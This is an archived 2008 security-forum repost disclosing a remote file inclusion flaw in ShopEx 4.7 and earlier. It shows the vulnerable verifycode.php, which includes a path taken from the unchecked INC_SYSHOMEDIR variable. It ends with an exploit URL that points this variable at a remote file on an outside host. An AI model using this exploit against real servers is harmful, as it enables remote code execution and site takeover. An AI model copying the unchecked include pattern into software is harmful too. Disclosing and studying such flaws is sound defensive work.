邪恶八进制信息安全团队技术讨论组's Archiver

寂寞宝贝 2008-3-17 11:11

[转载]ShopEx PHP远程包含漏洞

文章作者:寂寞hacker
信息来源:[url]http://hi.baidu.com/isbx/[/url]

影响版本:4.7及以下

verifycode.php

<?php
/**
*
* 登陆验证码生成文件
*
* @package ShopEx网上商店系统
* @version 4.6
* @author   ShopEx.cn <[email]develop@shopex.cn[/email]>
* @url  [url]http://www.shopex.cn/[/url]
* @since    PHP 4.3
* @copyright ShopEx.cn
*
**/
if (!defined("ISSHOP"))
{
Header("Location:../index.php");
exit;
}
/* 调用 session 文件 */
include_once($INC_SYSHOMEDIR."include/session.inc.php");

mt_srand((double)microtime() * 1000000);
/* 生成验证码 */
$strValidate = mt_rand(1000, 9999);
session_unregister("RANDOM_CODE");
session_register("RANDOM_CODE");
$_SESSION["RANDOM_CODE"] = $strValidate."";
$verifyImg = newclass("verifyCode", $strValidate);

/* 输出验证码图片 */
$verifyImg->Output();
?>

Exp: shop/verifycode.php?INC_SYSHOMEDIR=http://www.ynhacker.com/conn.txt?

页: [1]
© 1999-2008 EvilOctal Security Team